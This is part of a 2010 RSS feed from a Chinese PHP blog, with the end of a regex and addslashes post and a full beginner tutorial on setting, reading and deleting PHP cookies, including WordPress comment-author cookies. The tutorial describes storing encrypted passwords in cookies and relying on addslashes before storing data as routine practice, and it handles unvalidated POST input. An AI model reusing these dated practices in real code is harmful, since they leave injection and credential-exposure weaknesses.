B	匹配不是单词开头或结束的位置
[^x]	匹配除了x以外的任意字符
[^aeiou]	匹配除了aeiou这几个字母以外的任意字符

*?	重复任意次，但尽可能少重复
+?	重复1次或更多次，但尽可能少重复
??	重复0次或1次，但尽可能少重复
{n,m}?	重复n到m次，但尽可能少重复
{n,}?	重复n次以上，但尽可能少重复
</pre>
<p><strong>七. Addslashes 预处理函数：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
$a = &quot;img src=&quot;'1''2'20100101/18/59_006.jpg&quot; /&quot;;
echo addslashes($a);
?&gt;
//输出 img src=\&quot;\'1\'\'2\'20100101/18/59_006.jpg\&quot; /
</pre>
<p>> 预处理之后的样子在上面代码框中，这样存储就不会出现错误了。<br />
> 而使用 Phpmyadmin 或者 mysql_query 之类的东东读取数据库的数据。<br />
> 得到的都是预处理前的数据，灰常奇妙 (*^__^*) 嘻嘻。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/01/05/use-regex-to-clear-the-mix-of-tag-img/feed/</wfw:commentRss>
		<slash:comments>82</slash:comments>
		</item>
		<item>
		<title>如何使用PHP处理Cookies信息</title>
		<link>http://www.rainmoe.com/2010/01/04/php-control-the-cookies/</link>
		<comments>http://www.rainmoe.com/2010/01/04/php-control-the-cookies/#comments</comments>
		<pubDate>Sun, 03 Jan 2010 21:31:18 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[代码 [Code]]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1859</guid>
		<description><![CDATA[> 呵呵，一直以来小邪就觉得在写程序的时候是不是漏了些什么，让PHP程序出现了瑕疵。

> 今天突然醒悟，原来还有 Cookie 没有搞定，这可是用户体验里很重要的一部分呢。



<span class="readmore"><a href="http://www.rainmoe.com/2010/01/04/php-control-the-cookies/" title="如何使用PHP处理Cookies信息">阅读全文——共541字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> 呵呵，一直以来小邪就觉得在写程序的时候是不是漏了些什么，让PHP程序出现了瑕疵。<br />
> 今天突然醒悟，原来还有 Cookie 没有搞定，这可是用户体验里很重要的一部分呢。</p>
<p><img src="http://www.rainmoe.com/wp-content/uploads/old/Capture1047.jpg" /></p>
<p>> 这篇文章大家就和小邪一起学用小甜饼吧，学得好的童鞋，奖励春哥侍寝一晚。<br />
> 话说最近几天的前几篇文章，貌似有点水哈，因为过节的时候小邪也很水 O(∩_∩)O。</p>
<p><span id="more-1859"></span><strong>1. 了解 Cookie：</strong></p>
<p>> Cookie 常用于识别用户身份，一般用于保存加密的账号和密码，(*^__^*) 。<br />
> Cookies 是由服务器留在用户计算机中的一些信息文本文件所组成。<br />
> 每当相同的计算机通过浏览器请求页面时，它同时会发送出去 Cookie。<br />
> 这样，第二次进入这个网站的时候，就不用保存密码了哟。</p>
<p><strong>2. PHP Cookie 存储与读取：</strong></p>
<p>> 嘻嘻 (^o^)，在这个地方填入你的昵称，然后点击确认按键即可。<br />
> 程序就会将你的昵称存为 Cookie，然后读取并显示出来呢。</p>
<p><img src="http://www.rainmoe.com/wp-content/uploads/old/Capture1048.jpg" /></p>
<p>> 在 Cookie 失效（10分钟）之前，随便怎样调戏这个程序，都会显示这个样子咯。</p>
<p><img src="http://www.rainmoe.com/wp-content/uploads/old/Capture1049.jpg" /></p>
<p>> 牛叉的星际传送门 - <a target="_blank" href="http://www.evlos.org/apps/demo/cookie">http://www.evlos.org/apps/demo/cookie</a></p>
<p><strong>3. 源代码讲解：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
if (isset($_POST['user'])) { //首先检测是否获得了 POST 传递的昵称数据
	$div1 = 'style=&quot;display:none;&quot;'; //有则隐藏昵称输入框，此字符串输出于 DIV 标签内
	$div2 = ''; //显示另外一个带欢迎语的显示 Cookie 的 DIV，嘿嘿
	setcookie('cookie_test',$_POST['user'],time()+600); //同时保存昵称为 Cookie
	$show = $_POST['user']; //显示昵称
}
else if (isset($_COOKIE[&quot;cookie_test&quot;])) { //检测是否存在昵称Cookie
	$div1 = 'style=&quot;display:none;&quot;'; //有则隐藏昵称输入框
	$div2 = ''; //显示一个带欢迎语的显示Cookie的DIV
	$show = $_COOKIE[&quot;cookie_test&quot;]; //显示Cookie保存的昵称数据
}
else {
	$div1 = ''; //显示昵称输入框与按键
	$div2 = 'style=&quot;display:none;&quot;'; //隐藏显示Cookie的DIV，因为这时无Cookie
	$show = ''; //纯初始化此变量
}
?&gt;
</pre>
<p><strong>4. 分段讲解：</strong></p>
<p>> 注意！！Setcookie() 函数必须位于 <html> 标签之前。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
	setcookie(name, value, expire, path, domain);
	//此函数用于设置 Cookie，Name为变量名，Value为变量值，Expire为存储时间
	//Path为路径，如果需要，一般都为&quot;/&quot;，Domain为作用域，比如设置为&quot;.evlos.org&quot;
	//那么此 Cookie 在所有 evlos.org 的子域名下面都是有效的喔
	echo $_COOKIE[&quot;user&quot;];
	//显示变量名为 user 的 Cookie 内容
	print_r($_COOKIE);
	//显示所有本站的 Cookies
	setcookie(&quot;user&quot;, &quot;&quot;, time()-3600000);
	//清楚 Cookie，也就是将存储时间变为负值即可
?&gt;
</pre>
<p><strong>5. WordPress 中的存储 Cookies 的变量：</strong></p>
<p>> WP 程序会自动取出 Cookies 赋值到下面变量中，可以直接用在模板上的。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php echo $comment_author; //名称栏 ?&gt;
&lt;?php echo $comment_author_email; //邮箱栏 ?&gt;
&lt;?php echo $comment_author_url; //网址栏 ?&gt;
</pre>
<p><strong>6. 单独获取WP评论者昵称（站内，模板外）：</strong></p>
<p>> 这个是WP中定义COOKIEHASH常量的代码，嘎嘎 O(∩_∩)O。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
/**
 * Used to guarantee unique hash cookies
 * @since 1.5
 */
define('COOKIEHASH', md5(get_option('siteurl')));
</pre>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
echo $_COOKIE['comment_author_'.md5('http://127.0.0.1/wp')];
//所以这样子就可以把 WP 中的评论者名字单独取出来了
</pre>
<p>> 若是WP安装在 /wp 目录里，那么保存 Cookie 的时候设置的 Path 就是 /wp。<br />
> 也就是说，如果你把上面代码放在 /wp 目录上一层是无效的，比如这里 / 或者 /cookie。</p>
<p><img src="http://www.rainmoe.com/wp-content/uploads/old/Capture1054.jpg" /></p>
<p>> 牛叉的星际传送门 - <a target="_blank" href="http://www.evlos.org/apps/demo/cookie/wp.php">http://www.evlos.org/apps/demo/cookie/wp.php</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/01/04/php-control-the-cookies/feed/</wfw:commentRss>
		<slash:comments>107</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached (Feed is rejected)
Page Caching using memcached
Database Caching 1/45 queries in 0.042 seconds using memcached
Object Caching 630/736 objects using memcached

Served from: www.rainmoe.com @ 2012-02-09 16:41:07 -->
